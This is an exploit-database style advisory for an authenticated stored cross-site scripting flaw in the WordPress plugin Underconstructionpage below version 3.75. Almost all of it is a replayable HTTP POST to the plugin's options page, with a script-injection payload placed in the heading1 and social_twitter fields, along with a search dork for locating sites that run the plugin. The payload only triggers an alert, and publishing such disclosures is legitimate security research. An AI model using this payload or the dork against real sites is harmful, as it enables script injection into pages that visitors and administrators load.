Underconstructionpage Cross Site Scripting

2020.06.05
Credit: Atmon3r
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

+-------------------------------------------------------------------------+ # Exploit Title : Underconstructionpage < 3.75 - Authenticated Stored XSS # version : All # Author : @atmon3r # Date : 04/06/2020 # Software Link : https://underconstructionpage.com/ # Dork : inurl:'/plugins/under-construction-page' +-------------------------------------------------------------------------+ [+] Exploits Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: fr-FR,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/options-general.php?page=ucp Content-Type: application/x-www-form-urlencoded Content-Length: 1397 Origin: http://localhost DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 option_page=ucp_options action=update _wpnonce=d53f9c8724 _wp_http_referer=/wp-admin/options-general.php?page=ucp ucp_options[status]=1 ucp_options[end_date] ucp_options[ga_tracking_id] ucp_options[theme]=plain_text ucp_options[custom_css] ucp_options[title]=[site-title] is under construction ucp_options[description]=[site-tagline] ucp_options[heading1]=Sorry, we're doing some work on the site"/><script>alert(1337)</script> ucp_options[content]=Thank you for being patient. We are doing some work on the site and will be back shortly. &nbsp; ucp_options[login_button]=1 submit=Save Changes ucp_options[social_facebook] ucp_options[social_twitter]=https://twitter.com/"/><script>alert(1337)</script> ucp_options[social_google] ucp_options[social_linkedin] ucp_options[social_youtube] ucp_options[social_vimeo] ucp_options[social_pinterest] ucp_options[social_dribbble] ucp_options[social_behance] ucp_options[social_instagram] ucp_options[social_vk] ucp_options[social_telegram] ucp_options[social_skype] ucp_options[social_whatsapp] ucp_options[social_email] ucp_options[social_phone] ucp_options[whitelisted_roles][]=administrator ucp_options[license_key]=1337-1337-1337-1337 # The End //


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